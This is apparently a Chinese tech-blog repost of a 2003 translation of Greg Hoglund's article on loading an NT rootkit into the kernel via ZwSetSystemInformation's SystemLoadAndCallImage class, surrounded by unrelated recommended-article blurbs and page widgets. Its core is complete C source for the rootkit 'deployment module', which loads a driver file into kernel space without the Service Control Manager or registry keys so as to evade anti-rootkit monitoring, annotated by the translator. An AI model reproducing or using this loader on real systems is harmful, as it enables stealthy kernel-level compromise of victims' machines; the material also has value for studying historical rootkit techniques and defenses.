用SystemLoadAndCallImage加载Rootkit

[YIUI付费插件] 超级循环列表yiuisuperscroll 本文介绍基于YIUI框架实现循环列表(LoopListView2)的完整流程:在Scroll Rect上挂载LoopListView2并配置预制体,为Item添加Click同步事件;通过ServerListPanelComponent与ServerInfoItemComponent配合,使用YIUISuperScrollListRenderer和YIUISuperScrollListOnClick实现数据渲染与点击响应,支持动态刷新列表、选中状态管理及服务器信息绑定,高效构建可交互的滚动列表界面。 阅读详情
作者:Sephiroth.V  <kinvis@hotmail.com>
出处:http://www.nsfocus.com
日期:2003-11-07

[前言]
    我最近对NT Rootkit开始感兴趣,无奈国内的资料少得惊人,在这方面几乎是一片空白,就只有翻译的Gary Hoglund的一篇《一个修改NT内核的真实的ROOTKIT》。到国外的网站转了几天倒是收获非浅,国外在这方面的研究确实深刻多了。现在我翻译另一篇Gary Hoglund的文章,在这篇文章里我加入了一些个人的注释,如果大家对NT ROOTKIT感兴趣的话可以到www.rootkit.com上看看,那里有Gary Hoglund和很多人的优秀的NT ROOTKIT和大量有价值的资料。

[正文]
    大家好。
    这段时间以来在NETBUGTRAQ上有个有关在内核模式下如何保护系统免遭ROOTKIT的讨论。这是个好现象,我们rootkit.com的目的就是让人们思考这个问题。比方说,现在就有一个Pedestal Software的ANTI-ROOTKIT(全名Integrity Protection Driver)。
    在今年的Blackhat Briefings上,很多聪明的人在谈论有多少种方法把代码加载进内核模式-很明显是受到“ANTI-ROOTKIT”的影响。很多ROOTKIT的作者也加入其中。所以我们打算改变这个WINDOWS
ROOTKIT。    直到现在,这个WINDOWS ROOTKIT还是被设计为一个驱动程序。但是没有理由一个ROOKIT必须被设计为一个驱动程序--或者一个可加载模块。
    去年我们发布了ROOTKIT来证明完全用户模式的软件是基本没有意义的。想想看,任何一个能够HACK你的系统的人都可以去加载进内核模式,这是100%保证的。如果一个攻击者用一个用户级的帐户进入你的系统,他们然后就是获得ADMINISTRATOR--以获得足够的权限使你能够加载内核模式代码。在这个事实面前,很容易看到你的服务商的解决办法离开你的知识是十分脆弱的。
    将完全的保护放到内核模式的主意挺不错,不过它不可能完成除非微软自己解决。如果微软真这么做的话,那么安全公司就会消失:)
    现在有人提出一种加载内核模式代码的方法,使用一个未公布的入口(entry point)进入内核空间--比方象/dev/physicalmemory设备,或者一个使用“SystemLoadAndCallImage”的系统调用(syscall)。我们继续研究,但事实是有一个非操作系统支持的影响点(leverage point)来控制进入内核模式--因为这样,新的入口点(entry point)总是被发现。
    假定微软真的修补NT结构来保护以免于上面提到的这几种方法,也仍然有通过在内核里寻找可供缓冲区溢出的方法。每个你安装的第三方驱动程序可以给予你通过IOCTL()命令甚至是普通的读/写消息来进行缓冲区溢出的可能。甚至就是NT里默认的驱动程序在这方面也很脆弱。
    当ROOKIT被当做驱动程序处理时,我们使用服务控制管理器(SCM)来从内核空间加载或移除这个驱动程序。这是一个默认标准,并且它需要这个ROOTKIT驱动程序在注册表CurrentControlSet/Services下有键值。现在这种情况已经被改变了,我们改进了这个ROOTKIT这样当它加载进内核空间时既不需要驱动程序也不需要注册表键值。我们也不再使用SCM,取而代之的是它使用一个单独的中断调用--一个名为ZwSetSystemInformation()的NT系统调用。使用这个调用我们可以立即加载这个ROOTKIT并激活它。

-Greg Hoglund

源代码:

////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com
////////////////////////////////////////
#include <windows.h>
#include <stdio.h>


typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
#ifdef MIDL_PASS
    [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
    PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;


typedef unsigned long NTSTATUS; //我认为这里应该是typedef long NTSTATUS,    
                      //否则一个unsigned的值总是不小于0,下面这个宏就会      
                    //出问题
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)


NTSTATUS (__stdcall *ZwSetSystemInformation)(
  IN DWORD SystemInformationClass,
  IN OUT PVOID SystemInformation,
  IN ULONG SystemInformationLength
  );

/*
//有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000
//Native API //Reference》
//ZwSetSystemInformation设置影响操作系统的信息,定义如下:
//  NTSYSAPI
//  NTSTATUS
//  NTAPI
//  ZwSetSystemInformation(
//    IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
//    IN OUT PVOID SystemInformation,
//    IN ULONG SystemInformationLength);
//
//参数:
//  
SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个//
     子集,SystemLoadAndCallImage就是其中一个:
//       typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{//Information Class 38      
        、 //            UNICODE_STRING ModuleName;
//       }SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
//
//    成员:
//        Module:要加载模块的NATIVE NT格式的完整路径
//
//    备注:
//        
这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调//
      
用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的
   //      
DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。
//
//  SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
//  
SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的//  
    SystemInformationClass来设置它
//
*/

VOID (__stdcall *RtlInitUnicodeString)(
  IN OUT PUNICODE_STRING DestinationString,
  IN PCWSTR SourceString
  );


typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;


#define SystemLoadAndCallImage 38


void main(void)
{
///////////////////////////////////////////////////////////////
// Why mess with Drivers?
///////////////////////////////////////////////////////////////
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"//??//C://_root_.sys";


//////////////////////////////////////////////////////////////
// get DLL entry points
//////////////////////////////////////////////////////////////
if( !(RtlInitUnicodeString =
  (void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
  "RtlInitUnicodeString" )) )        //在ntdll.dll中获取RtlInitUnicodeString地址
  exit(1);


if( !(ZwSetSystemInformation =
  (void *) GetProcAddress( GetModuleHandle("ntdll.dll"),
  "ZwSetSystemInformation" )) )
    //在ntdll.dll中获取ZwSetSystemInformation地址
  exit(1);


RtlInitUnicodeString( &(GregsImage.ModuleName),
    daPath );         //建立设备



if( NT_SUCCESS(
  ZwSetSystemInformation( SystemLoadAndCallImage,
      &GregsImage,
      sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))         //加载进内核空间
{
  printf("Rootkit Loaded./n");
}
else
{
  printf("Rootkit not loaded./n");
}
}
深入大模型-52-Harness综述之(二)四大子系统 一个Harness都由四个子系统拼成,Agentic Loop是主干,四个子系统是Tool系统、Memory & Context、Guardrails,再加上一个把它们优雅组织起来的Skill系统。 阅读详情

相关推荐

一文吃透 BMS:动力电池与储能共用的电池管控全架构详解

BMS作为电池系统的核心控制器,其技术深度和系统复杂性不容小觑。动力电池与储能系统虽然应用场景不同,但在核心架构上共享大量基础技术。成功的BMS设计需要在精度、可靠性、成本、功耗之间找到最佳平衡点。未来,随着电池技术的进步和智能化需求的提升,BMS将向着更高集成度、更强智能化、更优经济性的方向发展。无论是汽车工程师还是储能系统设计师,深入理解BMS的全栈架构,掌握其核心技术原理,都将是应对未来能源存储挑战的关键能力。核心要点回顾BMS采用分层分布式架构,硬件是基础,算法是灵魂。

小帽子的博客 340

ZwSetSystemInformation的SystemLoadAndCallImage 加载驱动的缺陷

绕过监控进入ring0安装驱动这部分是重中之重。由于几乎每个主动防御系统都会监控未知驱动的加载和试图进入ring0的举动, 而我们在第一,第二和第三部分绕过主动防御要做的处理,都必须需要ring0权限。因此监控进入ring0,是一个独立的话题,也是我们实现前三个部分需要的条件。直接添加注册表项,ZwLoadDriver安装驱动,是几乎要被任何主动防御系统报警。必须要采用一些隐蔽的或者是为人不知的方

xuplus的专栏 2491

【博弈论】势博弈(potential game)、EPG以及最佳响应、Nash均衡和帕累托(pareto)最优的理解

文章目录前言一、Potential game二、Nash均衡和Pareto-optimal(帕累托最优)1.Nash 均衡2.Pareto最优三、Best response(最佳响应)四、Exact potential game(EPG)1.合作-傀儡博弈2.合作博弈3.傀儡博弈4.自激博弈5.双边对称交互博弈使用理解 前言 本文主要详细讲解potential game的概念以及Exact potential game 的定义和分类,以及这么博弈方法是如何在论文中引入并使用的,本文仅是对自己在该模块

weixin_44535200的博客 2万+

用ZwSetSystemInformation函数的SystemLoadAndCallImage调用驱动

//////////////////////////////////////// // New Deployment Module for rootkit 040 // ------------------------------------- // -Greg Hoglund http://www.rootkit.com /////////////////////////////...

weixin_33989780的博客 637

poincare截点

poincare映射定义比较抽象,简单理解就是每个原始周期取一个点,表现在程序中的思路如下: 以激励的周期T0为poincare的原始周期,设置1个周期取m个点,取N个周期设置T0/m为ode45的步长,每个周期的 i*m个点处取一个点(i=0.0-1.0),把这些点画出来就行了。有几个点就是几倍周期。 (注意:ode45算法是变步长的算法,所以一定要之前自己设置步长,我在这个地方吃了很大一个亏...

小树 3008

OK3588-C开发板Forlinx Desktop系统烧录与多媒体功能实战

本文详细介绍了OK3588-C开发板Forlinx Desktop系统的烧录步骤与多媒体功能实战。从硬件准备到软件工具配置,逐步解析RKDevTool烧录技巧,并深入测试摄像头、视频编解码及音频功能,帮助开发者快速掌握RK3588芯片的强大性能与Ubuntu系统的优化应用。

weixin_29190169的博客 417

(转载)用SystemLoadAndCallImage加载Rootkit

用SystemLoadAndCallImage加载Rootkit转自:http://www.xfocus.net创建时间:2003-09-25文章属性:原创文章提交:Sephiroth_ (kinvis_at_hotmail.com)Sephiroth.V[前言]    我最近对NT Rootkit开始感兴趣,无奈国内的资料少得惊人,在这方面几乎是一片空白,就只有翻译的Gary Hoglund的一

Kendiv's Box 2125

国科大 雁栖湖校区 研一上 课程避坑与生存指南

本文为国科大雁栖湖校区研一新生提供全面的课程避坑与生存指南,涵盖选课策略、核心课程学习技巧、校园生活攻略及心态管理。重点解析算法设计与分析、人工智能原理等硬核课程的学习方法,并分享食堂、住宿、自习室等实用生存技巧,帮助新生高效适应研究生生活。

weixin_29304985的博客 301

Loading Rootkit using SystemLoadAndCallImage

From: Greg Hoglund Date: Tue, 29 Aug 2000 12:31:48 -0700 Greets, For a while there has been a thread on NTBUGTRAQ about kernel-mode protection from rootkits. This is good - the whole point of o

fisher_jiang的专栏 1万+

【100%通过率】2023华为od机试C卷【螺旋数组矩阵】C++ 实现

给出数字个数n和行数m(1 < n,m < 999),从左上角的1开始,按照顺时针螺旋向内写方式,依次写出2,3...n,最终形成个一m行矩阵。疫情期间,小明隔离在家,百无聊赖,在纸上写数字玩。输入一行,两个整数,空格隔开,依次表示n、m。4.数字不够时,使用单个*号占位。3.填充数字时优先填充外部。1:模拟整个过程打印即可。1.每行数字的个数一样多。小明对这个矩阵有些要求。2.列的数量尽可能少。

MISAYAONE的博客 1248

AutoSAR MemMap模块详解及使用注意事项

在本文中,我们将深入探讨MemMap模块的实例解析,并介绍在使用该模块时需要注意的一些事项。在上述代码中,我们使用了MEMMAP_START_SEC_VAR_32BIT和MEMMAP_START_SEC_CODE来定义MemMap区域的起始位置,使用MEMMAP_STOP_SEC_VAR_32BIT和MEMMAP_STOP_SEC_CODE来定义MemMap区域的结束位置。1.合理划分MemMap区域:根据实际需求,合理划分MemMap区域,将不同类型的变量放置在不同的区域中,以便于管理和访问。

weixin_50547796的博客 2533

管理员组获取系统权限的完美解决方案

创建时间:2005-04-28文章属性:原创文章提交:suei8423 (suei8423_at_163.com)管理员组获取系统权限的完美解决方案Author : ZwelLBlog   : http://www.donews.net/zwellDate   : 2005.4.28    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.小四哥就提

1178

计算机网络实验报告实验七可靠传输TCP协议分析

计算机网络实验报告实验七可靠传输TCP协议分析

m0_56638814的博客 966

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

weixin_44218929的博客 192

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

工厂设备接MES为什么慢:协议识别与点表配置自动化的技术拆解

工业现场设备接 MES 的周期主要消耗在协议识别与点表配置。本文拆解这条链路的四层结构,给出点表映射的数据模型、两种部署架构的对比,以及可直接落地的三项验收口径与校验代码。适合工控集成、MES 实施、设备联网方向的工程师。

emfuture的博客 394

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

C# 数据结构和特殊类型

.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。

cccloveforever的博客 682

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

list

的底层是双向链表结构,双向链表中每个元素存储在互不相关的独立节点中,在节点中通过指针指向其前一个元素和后一个元素。,因此反向迭代器的实现可以借助正向迭代器,即:反向迭代器内部可以包含一个正向迭代器,对正向迭代器的接口进行包装即可。是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭代。迭代到该位置,在这段位置上迭代需要线性的时间开销;最大的缺陷是不支持任意位置的随机访问,比如:要访问。还需要一些额外的空间,以保存每个节点的相关联信息。个元素,必须从已知的位置。

xie0510_的博客 274

向 excel、word、pdf 三种文档中占位符插入数据

【代码】向 excel、word、pdf 三种文档中占位符插入数据。

weixin_45934659的博客 61

软件商店常见问题标准处理流程

从底层软件源来看,/etc/apt/sources.list配置错误、源地址失效、公网与内网离线源混用、ARM64与x86_64架构源串用,以及DNS解析异常、系统代理配置错误,都会导致商店无法获取应用数据;打开该应用,确认可正常运行;软件商店作为系统内置的图形化软件分发与安装入口(UKUI桌面配套组件,底层依赖APT软件源),承担着应用软件的浏览、搜索、下载、安装、升级与卸载等核心功能,是终端软件部署与管理的关键通道。覆盖软件商店启动、页面加载、应用下载、安装、卸载、搜索、自身更新等全部业务场景。

qq_39496637的博客 281

【AI 开发从入门到进阶 · 10】收官篇:LoRA 微调、模型评估、推理加速与生产部署全链路

本文系统梳理了大模型微调与生产落地的全流程,从决策是否微调、优选LoRA技术方案,到代码实现、效果评估、推理加速与FastAPI服务封装,最终构建可迭代的生产级AI系统。强调“逐级升级”原则,倡导以数据闭环驱动优化,避免技术冲动。全系列贯穿工程化思维,提供可复用模板与实战建议,助力开发者从模型训练迈向稳定可用的AI服务部署。

信息安全领域优质创作者|操作系统领域专家 33

ARIA规范

ARIA用来补充原生HTML缺失的语义,原则:优先原生标签,ARIA仅做补充。 ARIA角色role:定义组件身份,分为地标角色、构件角色、文档角色;构件角色用于自定义弹窗、tab、下拉菜单等复杂组件; ARIA状态与属性:以aria-开头,描述组件实时状态;常用:aria-label、aria-labelledby、aria-describedby、aria-hidden、aria-expanded、aria-selected、aria-modal、aria-live; 常用场景:图标按钮用aria-l

2401_83227843的博客 417

LangGraph 的分离思想总结

LangGraph 的分离思想,本质上是对"高内聚、低耦合"这一经典工程原则在 LLM 应用领域的落地。它通过状态与逻辑分离、节点职责分离、控制流与执行分离、计算与持久化分离、编排与实现分离五个层面,把一个难以维护的"大黑盒"拆解成一组可组合、可测试、可观测的部件。理解这套分离思想,比记住 API 更重要——因为当你面对新的智能体场景时,真正指导你做出合理拆分的,正是这些分离原则。

张晨光老师的播客 380

[C++]:7.STL:list

好久不见,firdawn小课堂又和大家见面啦。今天我们要学习的内容是list容器,list也是一种常用的数据结构。下面是本章的思维导图,那么让我们开始学习吧!自定义的list,由三个结构构成。分别是链表的最小组成单位,也就是链表节点。以及迭代器类和list类其实要特别说明的是, List的迭代器,它不是单纯的指针,因为我们如果对指针直接进行解引用操作的话,我们得到的是这个节点,而不是节点里面存储的值并且我们对这个指针加加,得到的也不是下一个节点的地址,而是所在节点的下一个单位的地址。

2301_80817679的博客 190
上一篇: Windows Rootkit相关链接
下一篇: 端口关联进程-在核心态的实现方法
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值